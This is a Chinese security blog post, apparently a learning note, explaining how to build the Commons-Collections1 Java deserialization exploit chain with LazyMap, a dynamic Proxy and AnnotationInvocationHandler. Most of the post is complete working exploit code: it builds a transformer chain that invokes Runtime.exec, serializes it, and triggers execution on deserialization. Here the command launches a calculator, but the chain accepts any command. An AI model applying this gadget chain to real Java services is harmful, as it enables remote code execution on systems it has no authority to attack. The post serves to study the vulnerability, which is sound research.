【内部投稿】利用LazyMap构造利用链

  • A+
所属分类:安全文章

点击蓝字 ·  关注我们

01

前言

java安全-反序列化之利用LazyMap构造利用链。


在代码审计的知识星球里,看到p神关于java反序列化系列的文章。于是跟着该系列文章进行学习。

这是跟这个系列学习的第三篇文章

前面记录关于简化CommonCollections1利用链学习分析,我们都是用到了TransformedMap,但是我们在yso中的CommonCollections1利用链中用到的是LazyMap,因此这篇文章就是学习LazyMap,并用它来构造利用链。


【内部投稿】利用LazyMap构造利用链

02

学习记录


0x01

1.ysoserial中的LazyMap是啥

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承了

AbstractMapDecorator。

TransformedMap的漏洞触发点:是在利用put方法写入元素的时候触发了transform方法从而触发了我们构造的恶意利用链(具体看我之前写的文章java安全-反序列化之简化的类CommonCollection1利用链分析)


【内部投稿】利用LazyMap构造利用链


而LazyMap的漏洞触发点略有差别:LazyMap是在其get方法中执行的factory.transform。

当map.containskey(key) == false,就会调用factory.transform。


【内部投稿】利用LazyMap构造利用链


java安全-反序列化之简化的类CommonCollection1利用链完善这篇文章中我们有分析sun.reflect.annotation.AnnotationInvocationHandler,在其readObject方法中通过调用setValue添加元素来触发transform。

但是在readObject方法中没有直接调用到Map的get方法。

yso作者

sun.reflect.annotation.AnnotationInvocationHandler类的invoke方法有调用到get:


【内部投稿】利用LazyMap构造利用链


yso的作者是利用java的对象代理来调用

AnnotationInvocationHandler#invoke。

之前在学习java的动态代理的时候看过一篇文章,讲述了java动态代理中的invoke方法是如何被自动调用的。

https://blog.csdn.net/zcc_0015/article/details/22695647

我想这应该是作者利用java的对象代理的原因吧?


0x02
2.JAVA的对象代理的利用

我们需要用到java.reflect.Proxy:

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), newClass[] {Map.class}, handler);


Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。

p神的demo:

package vulhub;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.util.Map;public class ExampleInvocationHandler implements InvocationHandler {    protected Map map;    public  ExampleInvocationHandler(Map map){        this.map = map;    }    @Override    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {        if(method.getName().compareTo("get") == 0){            System.out.println("Hook method: "+ method.getName());            return "hacked Object";        }        return method.invoke(this.map,args);    }}

package vulhub;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class ExampleTest {    public static void main(String[] args) {        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);        proxyMap.put("test","xxx");        String result = (String)proxyMap.get("test");        System.out.println(result);    }}


看执行结果,我们能发现我们明明传进Map是test值为xxx,但是我们获取到的结果却是hacked Object。


【内部投稿】利用LazyMap构造利用链


sun.reflect.annotation.AnnotationInvocationHandler,这个类实际就是一个InvocationHandler,将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意的方法。

就会自动调用到 

AnnotationInvocationHandler#invoke 方法,

进而触发我们的LazyMap#get


0x03

3.利用LazyMap构造利用链

在上一篇完善的简化的类CommonsCollection1的demo基础上进行修改。

首先使用LazyMap替换TransformedMap。


Map outerMap = LazyMap.decorate(innerMap, transformerChain);


然后通过反射获取

sun.reflect.annotation.AnnotationInvocationHandler

这个内部类,然后进行对其进行Proxy。


Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap = (MapProxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是:

sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);


全部代码:

package vulhub;import groovy.transform.Undefined;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class ccTest2 {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[] {            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),            new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"deepin-calculator" }),        };        Transformer transformerChain = new ChainedTransformer(transformers);        Map innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, transformerChain);        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);        construct.setAccessible(true);        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(barr);        oos.writeObject(handler);        oos.close();        System.out.println(barr);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));        Object o = (Object)ois.readObject();    }}


0x04

4.小问题

当我用debug调试到了以下这句代码后:

 handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);


会直接弹出三个计算器........


【内部投稿】利用LazyMap构造利用链


引用p神的话:

在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所以,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了命令。ysoserial对此有一些处理,它在POC的最后才将执行命令的Transformer数组设置到transformerChain中,原因是避免本地生成序列化流的程序执行到命令(在调试程序的时候可能会触发一次Proxy#invoke


【内部投稿】利用LazyMap构造利用链

EDI安全

【内部投稿】利用LazyMap构造利用链

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


本文始发于微信公众号(EDI安全):【内部投稿】利用LazyMap构造利用链

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: